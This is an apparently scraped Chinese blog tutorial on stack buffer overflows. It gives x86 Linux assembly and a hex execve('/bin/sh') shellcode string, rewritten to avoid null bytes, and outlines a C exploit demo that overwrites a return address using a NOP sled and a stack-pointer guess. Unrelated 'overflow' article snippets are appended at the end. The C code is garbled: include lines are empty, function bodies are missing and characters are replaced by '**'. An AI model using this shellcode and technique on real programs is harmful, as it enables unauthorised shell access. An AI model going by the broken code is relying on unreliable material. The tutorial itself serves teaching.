自己寫溢位的基礎,溢位原理 2

2021-04-12 18:50:01 字數 2411 閱讀 6179

jmp call

movb $0x0,0x7(%esi) 『輸入0的字串為結尾

mov %esi,0x8 (%esi) 『構造name陣列,放如字串的位址作為name[0]

mov $0x0,0xc(%esi) 『構造name[1]為null, name[0]為4位位址,所以偏移為0xc

mov %esi,%ebx 『設定資料段開始的位址

leal 0x8(%esi),%ecx 『設定引數1

leal 0xc(%esi),%edx 『設定引數2

mov $0xb,%eax 『設定呼叫號

int $0x80 『呼叫

mov $0x0,%ebx

mov $0x1,%eax

int $0x80

call popl

.string /"/bin/sh/" 然後通過c編譯器編寫myshella**.c

執行出錯,原因**段不允許進行修改,但是對於我們溢位是可以的,原因在於溢位是在資料段執行的, 通過gdb檢視16進製製碼,倒出ascii字元寫出test.c程式來驗證myshella**可以執行

ret = (int *)&ret + 2; //ret 等於main()執行完後的返回系統的位址

//(+2是因為:有pushl ebp ,否則加1就可以了。) 但是在堆疊溢位中,關鍵在於字串陣列的寫越界。但是,gets,strcpy等字串函式在處理字串的時 候,以"/0" 為字串結尾。遇/0就結束了寫xx作。myshell中有0x00的字元存在。

把所有賦予0的xx作用異或或者mov已知為0的暫存器賦值來完成

jmp 0x1f

popl %esi

movl %esi,0x8(%esi)

xorl %eax,%eax

movb %eax,0x7(%esi)

movl %eax,0xc(%esi)

movb $0xb,%al

movl %esi,%ebx

leal 0x8(%esi),%ecx

leal 0xc(%esi),%edx

int $0x80

xorl %ebx,%ebx

movl %ebx,%eax

inc %eax

int $0x80

call -0x24

.string /"/bin/sh/" 彙編得出的

shellcode =

"/x55/x89/xe5/xeb/x1f/x5e/x89/x76/x08/x31/xc0/x88/x46/x07/x89/x46"

"/x0c/xb0/x0b/x89/xf3/x8d/x4e/x08/x8d/x56/x0c/xcd/x80/x31/xdb/x89"

"/xd8/x40/xcd/x80/xe8/xdc/xff/xff/xff/bin/sh";

我們開始來寫乙個攻擊demo溢位的例子

1:把我們的shellcode提供給他,讓他可以訪問shellcode。

2:修改他的返回位址為shellcode的入口位址。 對於strcpy函式,我們要知道被溢位的緩衝的的位址。對於xx作系統來說,乙個shell下的每乙個程式的 堆疊段開始位址都是 相同的 。我們需要內部寫乙個呼叫來獲得執行時的堆疊起始位址,來知道了目標程 序堆疊的開始位址。

(所有c函式的返回值都放在eax 暫存器 裡面):

unsigned long get_sp(void)

buffer相對於堆疊開始位址的偏移,對於demo我們可以計算出來,但對於真正有溢位毛病的程式我們在沒 有源**和去跟蹤彙編是無法計算出的,只能靠猜測了。不過,一般的程式堆疊大約是 幾k 左右。為了 提高命中率,增加溢位的shellcode的長度和nop指令,nop指令的機器碼為0x90。 同時在我們的程式中允 許輸入引數來調節溢位點。

#include

#include

#define offset 0

#define ret_position 120

#define range 20

#define nop 0x90 char shellcode=

"/x55/x89/xe5/xeb/x1f/x5e/x89/x76/x08/x31/xc0/x88/x46/x07/x89/x46"

"/x0c/xb0/x0b/x89/xf3/x8d/x4e/x08/x8d/x56/x0c/xcd/x80/x31/xdb/x89"

"/xd8/x40/xcd/x80/xe8/xdc/xff/xff/xff/bin/sh"; unsigned long get_sp(void)

main(int argc,char **argv)

注意,如果發現溢位允許的空間不足夠shellcode的**,那麼可以把位址放到前面去,shellcode放在地 址的後面,程式進行一些改動,原理一致

(完)

棧溢位原理 小記 基礎中的基礎

自己的理解 棧溢位指的是程式向棧中某個變數中寫入的位元組數超過了這個變數本身所申請的位元組數,因而導致與其相鄰的棧中的變數的值被改變。兩個並行條件 程式必須向被操作棧寫入資料 寫入資料沒有被程式良好的控制!最典型的棧溢位利用是覆蓋程式的返回位址為攻擊者所控制的位址,當然需要確保這個位址所在的段具有可...

CSS高階技巧(2)溢位的文字隱藏

normal 預設 break all 允許單詞內執行 keep all 只能在半形空格或連字元處換行 normal 預設 nowrap 強制在同一行內顯示所有文字,知道文字結束或者遭遇br標籤才換行 text overflow clip ellipsis clip 不顯示省略標記 直接隱藏 ell...

順序表示的佇列 順序佇列2 假溢位

要求順序迴圈佇列不損失乙個空間全部能夠得到有效利用,請採用設定標誌位tag的方法解決 假溢位 問題,實現順序迴圈佇列演算法。考察迴圈隊列入隊和出隊演算法思想。設定標誌位tag,初始時tag 0,當元素入隊成功,令tag 1 出隊成功令tag 0。則隊列為空的判定條件為front rear tag 0...